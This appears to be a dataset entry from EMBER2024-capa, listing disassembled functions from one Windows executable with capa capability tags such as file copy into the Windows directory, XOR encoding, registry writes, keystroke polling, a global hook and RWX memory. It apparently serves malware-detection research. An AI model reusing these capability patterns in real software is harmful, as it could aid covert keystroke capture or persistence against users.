joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4458e4
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea4
push ebx
push esi
mov ebx, dword [ebp + 8]
lea esi, [ebp - 0x44]
mov eax, 0x4d024c
call fcn.0049fef4
mov dword [esi + 0x1c], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004adb88
inc dword [esi + 0x1c]
xor edx, edx
mov word [esi + 0x10], 8
mov word [esi + 0x10], 0x14
mov dword [ebp - 4], edx
lea eax, [ebp - 0x15c]
inc dword [esi + 0x1c]
mov word [esi + 0x10], 8
mov ecx, dword [ebx + 0x3dc]
push ecx
push 0x4cfbc3
push eax
call fcn.004a3230
add esp, 0xc
push 0x104
lea edx, [ebp - 0x148]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x4cfbc6
lea ecx, [ebp - 0x148]
push ecx
call fcn.0049fb64
add esp, 8
lea eax, [ebp - 0x15c]
push eax
lea edx, [ebp - 0x148]
push edx
call fcn.0049fb64
add esp, 8
push 0x4cfbd2
lea ecx, [ebp - 0x148]
push ecx
call fcn.0049fb64
add esp, 8
lea eax, [ebp - 0x148]
push 0
push eax
cmp dword [ebp + 0xc], 0
je 0x4459ac
mov edx, dword [ebp + 0xc]
jmp 0x4459b1
mov edx, 0x4cfbd7
push edx
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
jne 0x445acd
mov word [esi + 0x10], 0x20
xor eax, eax
mov dword [ebp - 8], eax
lea ecx, [ebp - 8]
inc dword [esi + 0x1c]
lea edx, [ebp + 0xc]
mov eax, 0x4cfbd8
call fcn.004ae0b0
lea ecx, [ebp - 8]
push ecx
mov edx, 0x4cfbe6
lea eax, [ebp - 0xc]
call fcn.004adb50
mov edx, eax
inc dword [esi + 0x1c]
xor eax, eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x10]
inc dword [esi + 0x1c]
pop eax
call fcn.004adca4
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x148]
lea eax, [ebp - 0x14]
call fcn.004adb50
mov edx, eax
inc dword [esi + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x18]
inc dword [esi + 0x1c]
pop eax
call fcn.004adca4
lea edx, [ebp - 0x18]
push edx
mov edx, 0x4cfbe9
lea eax, [ebp - 0x1c]
call fcn.004adb50
mov edx, eax
inc dword [esi + 0x1c]
xor eax, eax
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x20]
inc dword [esi + 0x1c]
pop eax
call fcn.004adca4
lea eax, [ebp - 0x20]
mov eax, dword [eax]
call fcn.00470060
dec dword [esi + 0x1c]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004adc4c
dec dword [esi + 0x1c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004adc4c
dec dword [esi + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004adc4c
dec dword [esi + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004adc4c
dec dword [esi + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004adc4c
dec dword [esi + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004adc4c
dec dword [esi + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004adc4c
push ebx
call fcn.00421a98
pop ecx
dec dword [esi + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004adc4c
dec dword [esi + 0x1c]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004adc4c
mov ecx, dword [esi]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x445d34
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
push edi
mov esi, dword [ebp + 0x18]
mov ebx, dword [ebp + 0xc]
cmp byte [esi], 0xa0
jb 0x445d4e
cmp byte [esi + 1], 0xa0
jae 0x445d59
mov eax, dword [ebp + 0x10]
add dword [eax], 0xc
jmp 0x445f00
mov eax, ebx
call fcn.0045d7fc
cmp al, 5
jne 0x445f00
mov eax, ebx
mov dword [ebp - 0x20], 2
mov edx, dword [eax]
call dword [edx + 0x2c]
imul dword [ebp - 0x20]
add eax, 3
test eax, eax
jns 0x445d83
add eax, 3
sar eax, 2
shl eax, 2
mov dword [ebp - 0x24], eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x20]
mov edx, eax
mov eax, ebx
dec edx
call fcn.0045d880
mov dword [ebp - 4], eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [ebp - 0x18], eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff4
jle 0x445f00
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x1c]
jge 0x445f00
cmp dword [ebp + 0x14], 0xfffffff4
jle 0x445f00
mov ecx, dword [ebp + 0x14]
cmp ecx, dword [ebp - 0x18]
jge 0x445f00
push 2
push esi
lea eax, [ebp - 6]
push eax
call fcn.0049fa50
add byte [ebp - 6], 0x60
add byte [ebp - 5], 0x60
xor edx, edx
xor eax, eax
mov dl, byte [ebp - 6]
mov al, byte [ebp - 5]
add esp, 0xc
lea ecx, [edx + edx*2]
shl ecx, 4
sub ecx, edx
add ecx, ecx
add ecx, eax
mov eax, ecx
shl eax, 3
lea eax, [eax + eax*2]
add eax, 0xfffff718
test eax, eax
jb 0x445e2d
cmp eax, 0x2feb0
jb 0x445e38
mov edx, dword [ebp + 0x10]
add dword [edx], 0xc
jmp 0x445f00
push 0x18
mov ecx, dword [ebp + 8]
add ecx, eax
push ecx
lea eax, [ebp - 0x40]
push eax
call fcn.0049fa50
add esp, 0xc
lea edx, [ebp - 0x40]
xor eax, eax
xor byte [edx], 0x58
inc eax
inc edx
cmp eax, 0x18
jl 0x445e51
mov ecx, dword [ebp + 0x1c]
push ecx
call fcn.00445cfc
pop ecx
xor edx, edx
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
add eax, edx
test eax, eax
jl 0x445eec
cmp eax, dword [ebp - 0x18]
jge 0x445eec
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x14]
imul esi, dword [ebp - 0x20]
mov bx, word [eax]
mov cx, 1
mov eax, ebx
movzx ebx, bx
sar ebx, 8
shl eax, 8
or ax, bx
mov ebx, eax
mov eax, dword [ebp - 0x18]
dec eax
sub eax, dword [ebp + 0x14]
sub eax, edx
imul eax, dword [ebp - 0x24]
add eax, dword [ebp - 4]
add eax, esi
mov dword [ebp - 0xc], eax
xor eax, eax
mov esi, 0xf
sub esi, eax
add esi, dword [ebp - 0x14]
cmp esi, dword [ebp - 0x1c]
jge 0x445ee4
cmp eax, 4
jl 0x445ee4
test cx, bx
jbe 0x445ee4
mov esi, 0xf
sub esi, eax
mov edi, dword [ebp - 0xc]
lea edi, [edi + esi*2]
mov si, word [ebp - 0xe]
mov word [edi], si
add ecx, ecx
inc eax
cmp eax, 0x10
jl 0x445eb7
inc edx
add dword [ebp - 0x28], 2
cmp edx, 0xc
jl 0x445e71
mov eax, dword [ebp + 0x10]
add dword [eax], 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x445f08
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x18]
mov esi, dword [ebp + 0xc]
cmp bl, 0x20
jb 0x445f21
cmp bl, 0x7f
jb 0x445f2c
mov eax, dword [ebp + 0x10]
add dword [eax], 6
jmp 0x44608f
mov eax, esi
call fcn.0045d7fc
cmp al, 5
jne 0x44608f
mov eax, esi
mov dword [ebp - 0x1c], 2
mov edx, dword [eax]
call dword [edx + 0x2c]
imul dword [ebp - 0x1c]
add eax, 3
test eax, eax
jns 0x445f56
add eax, 3
sar eax, 2
shl eax, 2
mov dword [ebp - 0x20], eax
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x20]
mov edx, eax
mov eax, esi
dec edx
call fcn.0045d880
mov dword [ebp - 4], eax
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [ebp - 0x14], eax
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xfffffff4
jle 0x44608f
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x18]
jge 0x44608f
cmp dword [ebp + 0x14], 0xfffffff4
jle 0x44608f
mov ecx, dword [ebp + 0x14]
cmp ecx, dword [ebp - 0x14]
jge 0x44608f
xor eax, eax
mov al, bl
shl eax, 2
lea eax, [eax + eax*2]
add eax, 0xfffffe80
test eax, eax
jb 0x445fd5
cmp eax, 0x474
jb 0x445fe0
mov edx, dword [ebp + 0x10]
add dword [edx], 6
jmp 0x44608f
push 0xc
mov ecx, dword [ebp + 8]
add ecx, eax
push ecx
lea eax, [ebp - 0x30]
push eax
call fcn.0049fa50
add esp, 0xc
xor eax, eax
lea edx, [ebp - 0x30]
xor byte [edx], 0x58
inc eax
inc edx
cmp eax, 0xc
jl 0x445ff9
mov ecx, dword [ebp + 0x1c]
push ecx
call fcn.00445cfc
pop ecx
xor edx, edx
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x14]
add eax, edx
test eax, eax
jl 0x446080
cmp eax, dword [ebp - 0x14]
jge 0x446080
mov cl, 1
mov eax, dword [ebp - 0x14]
dec eax
sub eax, dword [ebp + 0x14]
sub eax, edx
imul eax, dword [ebp - 0x20]
add eax, dword [ebp - 4]
mov ebx, dword [ebp - 0x10]
imul ebx, dword [ebp - 0x1c]
add eax, ebx
mov dword [ebp - 8], eax
xor eax, eax
mov ebx, dword [ebp - 0x24]
mov esi, ebx
mov ebx, 8
sub ebx, eax
add ebx, dword [ebp - 0x10]
cmp ebx, dword [ebp - 0x18]
jge 0x446078
cmp eax, 2
jl 0x446078
test byte [esi], cl
jbe 0x446078
mov ebx, 8
sub ebx, eax
mov edi, dword [ebp - 8]
lea edi, [edi + ebx*2]
mov bx, word [ebp - 0xa]
mov word [edi], bx
add ecx, ecx
inc eax
cmp eax, 8
jl 0x44604c
inc edx
inc dword [ebp - 0x24]
cmp edx, 0xc
jl 0x446019
mov eax, dword [ebp + 0x10]
add dword [eax], 6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4461f4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ebx, ebx
xor esi, esi
call fcn.00446180
mov eax, dword [ebp + 8]
add eax, esi
jmp 0x44622c
mov edx, ebx
shr edx, 0x18
and dl, 0xff
xor ecx, ecx
mov cl, dl
mov edx, dword [ecx*4 + 0x4dd7d8]
mov cl, byte [eax]
shl ebx, 8
and ecx, 0xff
or ebx, ecx
xor ebx, edx
inc eax
mov edx, dword [ebp + 0xc]
add dword [ebp + 0xc], 0xffffffff
test edx, edx
jne 0x446209
mov eax, ebx
pop esi
pop ebx
pop ebp
ret
Function at 0x4476e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd90
push ebx
push esi
mov ecx, 0x447488
lea eax, [ebp - 0x270]
add eax, 3
test eax, eax
jns 0x447708
add eax, 3
sar eax, 2
shl eax, 2
mov dword [ebp - 4], eax
xor eax, eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esi, 0x9b
cdq
idiv esi
mov eax, dword [ebp - 4]
xor dl, byte [ecx + eax]
mov eax, dword [ebp - 4]
mov byte [ebx + eax], dl
inc dword [ebp - 4]
mov edx, dword [ebp - 4]
cmp edx, 0x25f
jl 0x447719
mov dword [ebp - 4], ebx
push eax
push ebx
push edx
push ecx
push dword [ebp + 8]
call dword [ebp - 4]
pop ecx
pop ecx
pop edx
pop ebx
pop eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4503e8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0044fffc
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.0049d2d8
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
test eax, eax
je 0x450446
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4d5fb4]
mov dl, 1
mov eax, dword [0x44fef4]
call fcn.00497e98
call fcn.0049c990
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x450450
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.0049d2d8
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x4504a8
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4d5fb8]
mov dl, 1
mov eax, dword [0x44fef4]
call fcn.00497e98
call fcn.0049c990
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0045002c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x451490
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.0049ce94
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.USER32.DLL_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x4514df
push 0x100
lea edx, [ebp - 0x102]
push edx
push eax
call sub.USER32.DLL_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, 0x100
call fcn.0049d0c4
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x457704
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x45770a
ret
Function at 0x459c30
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x459c81
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x459c68
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x459c58
jmp 0x459c81
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x459c69
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462734
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4ddc98
cmp dword [edi], 0
jne 0x4627b0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov esi, eax
mov eax, dword [0x4ddc94]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4d0e44
mov ecx, 2
call fcn.0049bc88
mov edx, 0x46270c
lea eax, [esi + 5]
call fcn.0046272c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0046272c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x462785
mov dword [0x4ddc94], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4628cc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x46291c]
test si, 4
je 0x4628e0
or bl, 1
test si, 8
je 0x4628ea
or bl, 4
test si, 1
je 0x4628f4
or bl, 8
test si, 2
je 0x4628fe
or bl, 0x10
test si, 0x10
je 0x462908
or bl, 0x20
push 0x12
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x462917
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x462920
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x462958]
push 0x10
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x462939
or bl, 1
push 0x11
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x462948
or bl, 4
test esi, 0x20000000
je 0x462953
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x468ea8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x468eba
add esp, 0xfffffff0
call fcn.0049c538
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0048f344
mov eax, ebx
call fcn.004691f4
push 0
call sub.USER32.DLL_GetKeyboardLayout
mov dword [ebx + 0x30], eax
mov dl, 1
mov eax, dword [0x488bb4]
call fcn.0049c208
mov dword [ebx + 0x40], eax
mov dl, 1
mov eax, dword [0x488bb4]
call fcn.0049c208
mov dword [ebx + 0x44], eax
mov dl, 1
mov eax, dword [0x488bb4]
call fcn.0049c208
mov dword [ebx + 0x48], eax
mov dl, 1
mov eax, dword [0x488bb4]
call fcn.0049c208
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x488bb4]
call fcn.0049c208
mov dword [ebx + 0x70], eax
push 0
call sub.USER32.DLL_GetDC
mov esi, eax
push 0x5a
push esi
call sub.GDI32.DLL_GetDeviceCaps
mov dword [ebx + 0x34], eax
push esi
push 0
call sub.USER32.DLL_ReleaseDC
mov eax, dword [ebx + 0x4c]
push eax
mov eax, 0x465998
push eax
push 0
push 0
mov eax, dword [0x4d6078]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x456c2c]
call fcn.00458164
mov dword [ebx + 0x78], eax
mov dl, 1
mov eax, dword [0x456c2c]
call fcn.00458164
mov dword [ebx + 0x7c], eax
mov dl, 1
mov eax, dword [0x456c2c]
call fcn.00458164
mov dword [ebx + 0x74], eax
mov eax, ebx
call fcn.004695d4
mov eax, dword [ebx + 0x78]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4694f0
mov eax, dword [ebx + 0x7c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4694f0
mov eax, dword [ebx + 0x74]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4694f0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x468fc9
call fcn.0049c590
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4692d4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46947f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x28], 0
jne 0x469460
mov dl, 1
mov eax, dword [0x488ef0]
call fcn.0049c208
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.0049ce94
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.USER32.DLL_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x46944f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0047f794
test al, al
je 0x469442
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x469490
lea eax, [ebp - 0x254]
call fcn.00497440
push eax
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x469442
xor eax, eax
push ebp
push 0x46943b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4694c8
mov eax, dword [ebp - 0xc]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x469424
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.0049d0c4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x469424
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.0049d0c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469442
mov eax, dword [ebp - 0xc]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x469345
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.0048bfa8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x28]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469486
lea eax, [ebp - 0x260]
call fcn.0049ce94
ret

Function at 0x469ccc
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4ddc88]
cmp byte [eax + 0x95], 0
jne 0x469d3d
cmp dword [0x4ddca4], 0
jne 0x469cfe
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
push 0
mov eax, 0x469c88
push eax
push 3
call sub.USER32.DLL_SetWindowsHookExA
mov dword [0x4ddca4], eax
cmp dword [0x4ddca0], 0
jne 0x469d19
push 0
push 0
push 0
push 0
call sub.KERNEL32.DLL_CreateEventA
mov dword [0x4ddca0], eax
cmp dword [0x4ddca8], 0
jne 0x469d3d
push esp
push 0
push 0
push 0x469c2c
push 0x3e8
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4ddca8], eax
pop edx
ret
Function at 0x469e34
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x469e4b
add esp, 0xfffffff0
call fcn.0049c538
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0048f344
mov byte [ebx + 0x28], 0
mov dl, 1
mov eax, dword [0x488bb4]
call fcn.0049c208
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x488bb4]
call fcn.0049c208
mov dword [ebx + 0x98], eax
xor eax, eax
mov dword [ebx + 0x50], eax
xor eax, eax
mov dword [ebx + 0x74], eax
mov dword [ebx + 0x4c], 0x80000018
mov dword [ebx + 0x68], 0x1f4
mov byte [ebx + 0x6c], 1
xor eax, eax
mov dword [ebx + 0x70], eax
mov dword [ebx + 0x64], 0x9c4
mov byte [ebx + 0x78], 0
mov byte [ebx + 0x8d], 1
mov dl, 1
mov eax, dword [0x4575bc]
call fcn.0045ebe8
mov esi, eax
mov dword [ebx + 0x88], esi
push 0x469fc0
mov eax, dword [0x4d620c]
mov eax, dword [eax]
push eax
call sub.USER32.DLL_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0045efb8
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x46b9e4
push 0x100
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4d620c]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.USER32.DLL_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.004988f4
test eax, eax
je 0x469f3e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00496de0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0049891c
test eax, eax
je 0x469f52
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.USER32.DLL_CharLowerA
lea eax, [ebx + 0x7c]
lea edx, [ebp - 0x101]
mov ecx, 0x100
call fcn.0049d0c4
mov eax, dword [0x4d6214]
cmp byte [eax], 0
jne 0x469f83
mov eax, ebx
call fcn.0046a0ac
mov byte [ebx + 0x49], 1
mov byte [ebx + 0x4a], 1
mov byte [ebx + 0x4b], 1
mov byte [ebx + 0x8e], 1
xor eax, eax
mov dword [ebx + 0x90], eax
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x469fb5
call fcn.0049c590
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x46a31c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4ddc88]
cmp dword [eax + 0x24], 0
je 0x46a3bf
cmp dword [ebx + 0x84], 0
jne 0x46a3b9
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x46a2ac
call sub.USER32.DLL_EnumWindows
mov eax, dword [ebx + 0x80]
cmp dword [eax + 8], 0
je 0x46a3b9
push 3
mov eax, dword [esp + 4]
push eax
call sub.USER32.DLL_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.USER32.DLL_GetWindowLongA
test al, 8
je 0x46a382
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x80]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x46a3b9
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x80]
call fcn.0048a2e8
push eax
call sub.USER32.DLL_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x46a391
inc dword [ebx + 0x84]
pop ecx
pop edx
pop esi
pop ebx
ret